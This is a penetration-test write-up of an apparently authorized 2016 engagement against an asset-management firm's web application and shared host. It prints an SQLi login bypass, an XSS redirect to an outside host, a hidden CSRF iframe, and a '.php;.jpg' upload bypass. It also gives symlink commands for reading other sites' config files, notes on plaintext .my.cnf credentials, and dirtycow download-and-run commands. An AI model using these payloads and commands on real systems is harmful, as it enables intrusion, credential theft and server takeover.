This write-up is from one of the security assessment projects which I did back in 2016. Not so fancy bugs, leets can skip!
About the Project:
An organization which offers RFID, barcode, biometrics and asset management solutions.
It started as usual with discovering target hosts, scanning targets, finding open ports, mapping services and all the low-hanging fruits. Second day of the assessment when we landed up on a web application used by internal employees. I started off enumerating the applications to understand the functionality and the security controls in place.
Dirbuster revealed some interesting endpoints. But everything which we requested from the server required authenticated access. The first hurdle was the authentication and after couple of failed attempts in bypassing authentication, I randomly entered SQLi payload
' or 1-- and sent it, surprisingly it bypassed the authentication and I was logged in to the application.
At this point we understood it’s gonna be fun. w00t.
There are plenty of web applications that are still vulnerable to Injections, one of the reasons it holds number #1 position on top of OWASP list.
Backdoor Admin account with CSRF + IDOR + XSS combination:
Moving on, it was found that User management module lists out all the user accounts of that application but no Administrator accounts were found in that list. Another gainful functionality, User Management module allows admin to create users with 3 different roles.
Then i thought of trying something unusual which certainly worked for me as a charm couple of times previously, a combination of CSRF + IDOR (Today we call it Mass Assignment – Method overloading exploitation).
Adding to that, I appended “role=1” parameter in the ‘createUser’ request of my CSRF script which cooked me up an Admin account ;).
PS: Adding certain parameters that normally are submitted to differentiate normal & admin user accounts will exploit a logic flaw in applications’ processing. “role=1” indicates user account has to be created as admin.
Also check for role=admin/adminsitrator/1/0/root/[usernames]…
Nevertheless it’s a post authentication vulnerability and additionally, there’s a “csrf_cookie_name” parameter which is supposed to prevent CSRF attacks.
But (un)fortunately it wasn’t implemented properly and the application server was validating if at all that token exists and is valid but failed to validate which user this token was assigned to.
With that being said an adversary is able to create an Admin account which is not gonna be listed out in User Management module — A backdoor? Perhaps YES.
So, now the next challenge was to determine how attacker could convince the Admin to visit a CSRF page and make this attack foolproof?
My answer was let’s find XSS. Stored XSS at multiple places was found by the team including message fields, forum chat sections and other areas which played its role. All an attacker had to do was to send that payload to admin through messaging feature of that application.
XSS Payload to redirect to csrf page: <script>window.location('http://vulnerabilities.in/Surprise');</script>
http://vulnerabilities.in/Surprise page was created with a hidden iframe which would issue a CSRF request to the vulnerable site.
<iframe src="/csrf.html" width=0 height=0>
A successful XSS attack would forcefully redirect the admin to /Surprise page wherein iframe is hidden off-screen, so the Admin won’t have any idea that rouge script is executed without his knowledge and a backdoor Admin account is created.
It is very difficult for the target website to distinguish between legitimate and rogue requests, since the requests are sent from a “trusted” Admin’s authenticated browser. That means a CSRF attack is possible without the Admin or target website realizing it.
Note: XSS exploit can be rewritten in a way that’ll create the user account without the need of redirecting admin to a different page.
When we talk about user management it’s trivial to find profile picture upload functionality available.
When I tried to upload a php file, it has thrown a nice error denying my file upload. Tinkering around I figured out that only jpg & png files were being accepted.
But, attaching the file with jpg extension (‘test.php;.jpg’) bypassed the file-type validation. So uploaded a test.php file initially to test the execution.
Navigating to images folder I could see test.php is renamed & uploaded successfully and I could actually execute the file from the following path.
Contents of test-userID.php:
<?php echo phpinfo();?>
By leveraging this vulneraiblity, I then uploaded a reverse shell and connected to the target server from my terminal.
Leaving a backdoor or other malicious code on the system allows an attacker to come back later or to perform multiple tasks on the web application server.
When there are more websites hosted on the same server, it is more likely an attacker will attempt to compromise every single one of them. Reverse IP lookup quickly showed all the other domains hosted on the same shared hosting server.
How to do Reverse IP lookup? Check out the zone entries, valiases, etc…
$dir = '/etc/valiases';
$files = scandir($dir);
Email forwarders are set here which reveals domain name aliases2. /etc/named.confpreg_match_all("#named/(.*?).db#", $file, $r);
//Contain 2 entries, internal & external$domains = array_unique($r);Consists of zone entries for all the domains in that server.3. http://viewdns.info/reverseip/?host=domain.com
Got a list of few more domains hosted on that server. Now it was the time to own them all ;)
Symlink bypass techniques are very common in Black-hat community. Symlink refers to a symbolic path indicating the abstract location of another file/directory, this method is useful in reading files of other users on a linux server. To read some of the configuration files hosted on the server, below commands can be executed.
ln -s /home/target/public_html/includes/config.php symlink.txt
The above command creates a symlink for
/home/target/public_html/includes/config.php file as symlink.txt under the current directory.
ln -s / symroot
ln -s /home/example/public_html/domain1/wp-config.php symlink1.txt
ln -s /home/example/public_html/domain2/blogs/wp-config.php symlink2.txt
ln -s /home/example/public_html/domain3/boxedlayout/wp-config.php symlink3.txt
Here’s the glimpse of one of the config files found on the server.
Got configuration files! what next? A round to the Database, perhaps!
We have got the database credentials from the configuration files, but cannot connect to it from external networks. So needed to upload some DBMS tools to the server to access the database from within the internal network.
Adminer/DBKiss can serve the purpose of database management tools.
We could upload the script to a public directory on that server so that we can access it remotely through browsers and that script interacts with databases in internal network.
Once connected, some backdoor accounts were created as PoC on the DB Server with below credentials on all the Wordpress installations found on that server.
Password: MD5Hash(password)=> 5f4dcc3b5aa765d61d8327deb882cf99
Poking around Internal Networks
Here’s the dump from the recon…
Host Discovery and Network Interfaces:
You see? More ports… more services… more bugs to come :P
cPanel & WHM services are also running, let’s look into it.
cPanel is a Linux-based web hosting control panel that provides admin level controls to the hosting web server. If I could crack I’d have admin level control over the server.
I quickly ran a scan to see how many other domains on this server were using cPanel.
With that list handy, I needed to find a way to get into the control panels.
Key to the Kingdom — CPANEL Cracking:
Most MySQL programs can read startup options from option files (sometimes called configuration files). Option files provide a convenient way to specify commonly used options so that they need not be entered on the command line each time you run a program.
By default, cPanel & WHM’s implementation of MySQL stores the MySQL root account password in the /root/.my.cnf configuration file. If you change the remote MySQL root password on the hosting server, you must update the remote MySQL server’s /root/.my.cnf configuration file.
When setting the password for the domain in cPanel, .my.cnf file will be created in the home directory which contains the domain username and password:
The MySQL credentials in the .my.cnf file are used to login to phpMyAdmin and to install and uninstall Site Software, and the password is stored in plain text in that file.
And that’s how we gained access to cPanels.
Surprise surprise! We can try switching the account on Bluehost cPanel and that’s how we got access to Reseller account of that organization. *pitfalls of reusing same passwords*
The Final Step — Rooting the Server
During this assessment period there was a boom of dirtyCOW. On October 19, 2016, a privilege escalation vulnerability in the Linux kernel was disclosed in virtually all versions of the Linux operating systems and was actively being exploited in the wild..
The dirtyc0w PoC exploit I used generates a new password hash on the fly and modifies /etc/passwd automatically.
All I need to do is Just run and pwn. Backconnect from the application to my terminal using php reverse shell for a neat interface.
Download:curl https://github.com/FireFart/dirtycow/blob/master/dirty.cCompilation:gcc -pthread dirty.c -o dirty -lcryptExecution:chmod +x dirty./dirtysu firefart
More info on dirtyC0w exploit can be found here: https://dirtycow.ninja/ & https://github.com/FireFart/dirtycow/blob/master/dirty.c
Once you have enough privileges and access to control panel, it’s also possible to transfer a domain from one registrar to another.
Domain Transfer Process:
Transferring a domain to another registrar involves multiple steps and require you to go through the authorization process from unlocking the target domain, extracting the EPP code to purchasing the domain with another registrar. You’ll have to complete some steps with your target registrar, and some steps with your new registrar.
It takes days to complete this process and can be easily detected with monitoring and alerts. But if it’s missed then you loose the business.
That’s it… this deceptive and simple hack could cause some pretty big damages to the companies.
Possible Exploit Chains
- XSS + CSRF + Mass Assignment → Backdoor Admin accounts
- XSS + CSRF →Uploader restrictions bypass→ Upload PHP code → Trigger RCE
- XSS + CSRF → Upload rev shell → Reverse DNS + Symlink + Extract credentials from config files → Upload DBMS script and connect to Database →Backdoor CMS accounts
- XSS + CSRF → Upload rev shell →Priv Escalation →r00t access
- Port Scanning → Services mapping → Extracting Cpanel credentials → Login to domain control panel → Switching to Reseller Account → Request for Domain Transfer → Business TakeOver
Overall it was fun discovering all these vulnerabilities!!
Assessment report was sent on time and all the loopholes were communicated to the appropriate teams with Action Plan on how to remediate the reported bugs.
Keep training and keep learning until you get it Right.
Thank you for taking time to read this.
- The whole pentest activity was carried out with prior proper permissions
- Make sure all the stakeholders are informed about pentesting activities beforehand to avoid any damages.
- Hosting/Domain/Other Service providers may suspend the accounts if found suspicion (make sure they’re aware that it’s an authorized activity).
- Suspension of accounts result into business downtime for hours and hours (monetary/reputation loss).